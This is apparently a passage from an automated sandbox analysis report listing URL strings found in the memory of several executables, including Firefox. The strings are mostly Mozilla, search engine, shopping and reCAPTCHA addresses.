Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D548F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D548BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.2845609380.0000014D56A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D54819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2832616039.0000014D56273000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: file.exe, 00000000.00000003.2214021431.00000000054FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D573000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001A.00000002.2831679703.0000014D55F8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: file.exe, 00000000.00000003.2214021431.00000000054FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55646000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D573000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847223254.0000014D57003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847223254.0000014D57003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847223254.0000014D57003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847223254.0000014D57003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D548F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D548BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001A.00000002.2864874573.0000014D5D703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/bound
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/PWMGR_BLOCKLIST_NUM_SITESPWMGR_NUM_SAVED_PASSWORDSoptInToExperiment/recipe
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000003.2226516704.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2845915505.0000014D56D8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D55987000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2841860100.0000014D56984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.bbc.co.uk/
Source: file.exe, 00000000.00000003.2172085778.0000000000B6D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: file.exe, 00000000.00000003.2172112855.0000000000B67000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/a
Source: file.exe, 00000000.00000003.2172085778.0000000000B6D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001A.00000003.2754455081.0000014D575B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850461327.0000014D575B2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2747474008.0000014D5D792000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/searchcbe309e0-f638-4996-9dfc-ea5c19ef16e9chrome://global/content/el
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DA94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2845915505.0000014D56D8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D55987000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2841860100.0000014D56984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DA69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/main/nimbus-desktop-experimentsbrowsing-context-discardedhttps://www.wikipe
Source: file.exe, 00000000.00000003.2213864318.000000000540D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.or
Source: firefox.exe, 0000001A.00000002.2806034129.0000014D512FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826096429.0000014D55473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2795971975.0000001237D7C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801575464.0000014D44D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2800543685.0000008B8E704000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.2867485052.0000014D5DA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000003.2214021431.00000000054FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D573000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000001A.00000003.2759777631.0000014D56429000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2760952156.0000014D5642A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000003.2214021431.00000000054FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D573000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
